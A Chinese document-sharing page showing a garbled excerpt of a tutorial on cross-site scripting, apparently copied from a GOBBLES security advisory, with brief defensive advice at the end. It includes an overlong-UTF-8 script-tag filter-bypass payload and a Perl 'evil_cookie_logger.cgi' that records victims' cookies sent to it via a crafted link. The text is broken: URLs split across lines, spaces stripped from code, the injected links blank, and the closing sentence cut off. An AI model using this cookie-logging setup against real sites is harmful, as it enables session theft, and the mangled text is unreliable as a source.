书签 分享 收藏 举报 版权申诉 / 16

类型跨站脚本说明.docx

  • 文档编号:5353796
  • 上传时间:2022-12-15
  • 格式:DOCX
  • 页数:16
  • 大小:31.69KB

[\xC0][\xBC]script>[code][\xC0][\xBC]/script>[UTF-8;IE,Opera]

----CopiedfromGOBBLESSECURITYADVISORY#33----

一个真正的获取cookie并且做记录的例子:

注意:

要使它工作,你的浏览器必须允许接受http:

//website.tld站点发送的cookies,

当我测试下面的信息时,使用

javascript创建访问者的cookies,javascript脚本放在index.html文件中。

OK,下面假设http:

//website.tld存在XSS攻击的安全隐患,存在漏洞的连接是:

http:

//website.tld/program.cgi?

input=

我们创建这样一个连接:

http:

//website.tld/program.cgi?

input=

然后让保存该站点cookie的用户访问这个连接:

这是我们的CGI脚本,它的作用就是对用户cookie做记录:

---------evil_cookie_logger.cgi-----------

#!

/usr/bin/perl

#evil_cookie_logger.cgi

#remotecookieloggingCGIcodedbyBrainRawt

#

#NOTE:

codedasaproofofconceptscriptwhentestingfor

#cross-sitescriptingvulnerabilities.

$borrowed_info=$ENV{'QUERY_STRING'};

$borrowed_info=~s/%([a-fA-F0-9][a-fA-F0-9])/pack("C",hex($1))/eg;

open(EVIL_COOKIE_LOG,">>evil_cookie_log")orprint"Content-type:

text/html\n\nsomethingwentwrong\n";

printEVIL_COOKIE_LOG"$borrowed_info\n";

print"Content-type:

text/html\n\n";

close(EVIL_COOKIE_LOG);

------------------------------------------

该脚本首先通过$ENV{'QUERY_STRING'}获得cookie,打印到$borrowed_info变量里,

通过open(EVIL_COOKIE_LOG,">>evil_cookie_log"),把cookie信息保存到evil_cookie_lo

g文件。

注意:

上面的javascript脚本,可能在一些浏览器或者站点上不能执行,

这仅仅是我在自己的站点上做测试用的。

如何防范XSS攻击?

1.在你的WEB浏览器上禁用javascript脚本

2..开发者要仔细审核代码,对提交输入数据进行有效检查,如"<"和">"。

可以把"<",">"转换为<,>

注意:

由于XSS漏洞可被利用的多样性,程序员自己要明白具体需要过滤的字符,

这主要依赖于所开发程序的作用,建议过滤掉所有元字符,包括"="。

对受害者来说不要访问包含

copyright@ 2008-2022 冰点文档网站版权所有

经营许可证编号:鄂ICP备2022015515号-1